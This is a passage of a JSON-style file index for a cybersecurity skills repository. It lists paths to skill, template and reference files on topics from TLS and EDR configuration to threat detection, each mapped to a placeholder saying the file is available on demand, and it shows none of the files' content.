/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Fassets%2Ftemplate.md -->","skills/configuring-tls-1-3-for-secure-communications/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fapi-reference.md -->","skills/configuring-tls-1-3-for-secure-communications/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fstandards.md -->","skills/configuring-tls-1-3-for-secure-communications/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fworkflows.md -->","skills/configuring-windows-defender-advanced-settings/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2FSKILL.md -->","skills/configuring-windows-defender-advanced-settings/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Fassets%2Ftemplate.md -->","skills/configuring-windows-defender-advanced-settings/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fapi-reference.md -->","skills/configuring-windows-defender-advanced-settings/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fstandards.md -->","skills/configuring-windows-defender-advanced-settings/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fworkflows.md -->","skills/configuring-windows-event-logging-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2FSKILL.md -->","skills/configuring-windows-event-logging-for-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Fassets%2Ftemplate.md -->","skills/configuring-windows-event-logging-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fapi-reference.md -->","skills/configuring-windows-event-logging-for-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fstandards.md -->","skills/configuring-windows-event-logging-for-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fworkflows.md -->","skills/configuring-zscaler-private-access-for-ztna/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2FSKILL.md -->","skills/configuring-zscaler-private-access-for-ztna/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Fassets%2Ftemplate.md -->","skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fapi-reference.md -->","skills/configuring-zscaler-private-access-for-ztna/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fstandards.md -->","skills/configuring-zscaler-private-access-for-ztna/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fworkflows.md -->","skills/containing-active-breach/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2FSKILL.md -->","skills/containing-active-breach/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2Freferences%2Fapi-reference.md -->","skills/continuous-llm-red-teaming-with-promptfoo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2FSKILL.md -->","skills/continuous-llm-red-teaming-with-promptfoo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fapi-reference.md -->","skills/continuous-llm-red-teaming-with-promptfoo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fstandards.md -->","skills/correlating-security-events-in-qradar/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2FSKILL.md -->","skills/correlating-security-events-in-qradar/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2Freferences%2Fapi-reference.md -->","skills/correlating-threat-campaigns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2FSKILL.md -->","skills/correlating-threat-campaigns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2Freferences%2Fapi-reference.md -->","skills/defending-llms-with-guardrails/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2FSKILL.md -->","skills/defending-llms-with-guardrails/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fapi-reference.md -->","skills/defending-llms-with-guardrails/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fstandards.md -->","skills/deobfuscating-javascript-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2FSKILL.md -->","skills/deobfuscating-javascript-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2Freferences%2Fapi-reference.md -->","skills/deobfuscating-powershell-obfuscated-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2FSKILL.md -->","skills/deobfuscating-powershell-obfuscated-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Fassets%2Ftemplate.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fapi-reference.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fstandards.md -->","skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fworkflows.md -->","skills/deploying-active-directory-honeytokens/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2FSKILL.md -->","skills/deploying-active-directory-honeytokens/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2Freferences%2Fapi-reference.md -->","skills/deploying-cloud-deception-with-decoy-resources/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2FSKILL.md -->","skills/deploying-cloud-deception-with-decoy-resources/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Fassets%2Ftemplate.md -->","skills/deploying-cloud-deception-with-decoy-resources/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Freferences%2Fstandards.md -->","skills/deploying-cloudflare-access-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2FSKILL.md -->","skills/deploying-cloudflare-access-for-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Fassets%2Ftemplate.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fstandards.md -->","skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fworkflows.md -->","skills/deploying-decoy-files-for-ransomware-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2FSKILL.md -->","skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","skills/deploying-edr-agent-with-crowdstrike/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2FSKILL.md -->","skills/deploying-edr-agent-with-crowdstrike/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Fassets%2Ftemplate.md -->","skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fapi-reference.md -->","skills/deploying-edr-agent-with-crowdstrike/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fstandards.md -->","skills/deploying-edr-agent-with-crowdstrike/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fworkflows.md -->","skills/deploying-honeytokens-and-canarytokens/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2FSKILL.md -->","skills/deploying-honeytokens-and-canarytokens/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fapi-reference.md -->","skills/deploying-honeytokens-and-canarytokens/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fstandards.md -->","skills/deploying-osquery-for-endpoint-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2FSKILL.md -->","skills/deploying-osquery-for-endpoint-monitoring/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Fassets%2Ftemplate.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fapi-reference.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fstandards.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fworkflows.md -->","skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2FSKILL.md -->","skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2Freferences%2Fapi-reference.md -->","skills/deploying-ransomware-canary-files/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2FSKILL.md -->","skills/deploying-ransomware-canary-files/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2Freferences%2Fapi-reference.md -->","skills/deploying-software-defined-perimeter/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2FSKILL.md -->","skills/deploying-software-defined-perimeter/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Fassets%2Ftemplate.md -->","skills/deploying-software-defined-perimeter/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fapi-reference.md -->","skills/deploying-software-defined-perimeter/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fstandards.md -->","skills/deploying-software-defined-perimeter/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fworkflows.md -->","skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2FSKILL.md -->","skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Fassets%2Ftemplate.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fapi-reference.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fstandards.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fworkflows.md -->","skills/designing-adversary-engagement-with-mitre-engage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2FSKILL.md -->","skills/designing-adversary-engagement-with-mitre-engage/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Fassets%2Ftemplate.md -->","skills/designing-adversary-engagement-with-mitre-engage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Freferences%2Fstandards.md -->","skills/detecting-ai-model-prompt-injection-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2FSKILL.md -->","skills/detecting-ai-model-prompt-injection-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-anomalies-in-industrial-control-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2FSKILL.md -->","skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2Freferences%2Fapi-reference.md -->","skills/detecting-anomalous-authentication-patterns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2FSKILL.md -->","skills/detecting-anomalous-authentication-patterns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2Freferences%2Fapi-reference.md -->","skills/detecting-api-enumeration-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2FSKILL.md -->","skills/detecting-api-enumeration-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-arp-poisoning-in-network-traffic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2FSKILL.md -->","skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2Freferences%2Fapi-reference.md -->","skills/detecting-attacks-on-historian-servers/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2FSKILL.md -->","skills/detecting-attacks-on-historian-servers/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2Freferences%2Fapi-reference.md -->","skills/detecting-attacks-on-scada-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2FSKILL.md -->","skills/detecting-attacks-on-scada-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-cloudtrail-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2FSKILL.md -->","skills/detecting-aws-cloudtrail-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2FSKILL.md -->","skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-guardduty-findings-automation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2FSKILL.md -->","skills/detecting-aws-guardduty-findings-automation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Fassets%2Ftemplate.md -->","skills/detecting-aws-guardduty-findings-automation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-guardduty-findings-automation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fstandards.md -->","skills/detecting-aws-guardduty-findings-automation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fworkflows.md -->","skills/detecting-aws-iam-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2FSKILL.md -->","skills/detecting-aws-iam-privilege-escalation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-lateral-movement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2FSKILL.md -->","skills/detecting-azure-lateral-movement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-service-principal-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2FSKILL.md -->","skills/detecting-azure-service-principal-abuse/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Fassets%2Ftemplate.md -->","skills/detecting-azure-service-principal-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-service-principal-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fstandards.md -->","skills/detecting-azure-service-principal-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fworkflows.md -->","skills/detecting-azure-storage-account-misconfigurations/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2FSKILL.md -->","skills/detecting-azure-storage-account-misconfigurations/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2Freferences%2Fapi-reference.md -->","skills/detecting-beaconing-patterns-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2FSKILL.md -->","skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-bluetooth-low-energy-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2FSKILL.md -->","skills/detecting-bluetooth-low-energy-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-broken-object-property-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2FSKILL.md -->","skills/detecting-broken-object-property-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise-with-ai/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2FSKILL.md -->","skills/detecting-business-email-compromise-with-ai/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Fassets%2Ftemplate.md -->","skills/detecting-business-email-compromise-with-ai/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise-with-ai/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fstandards.md -->","skills/detecting-business-email-compromise-with-ai/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fworkflows.md -->","skills/detecting-business-email-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2FSKILL.md -->","skills/detecting-business-email-compromise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Fassets%2Ftemplate.md -->","skills/detecting-business-email-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fstandards.md -->","skills/detecting-business-email-compromise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fworkflows.md -->","skills/detecting-cloud-threats-with-guardduty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2FSKILL.md -->","skills/detecting-cloud-threats-with-guardduty/references/api-reference.md":"<!-- Skill available on-demand via 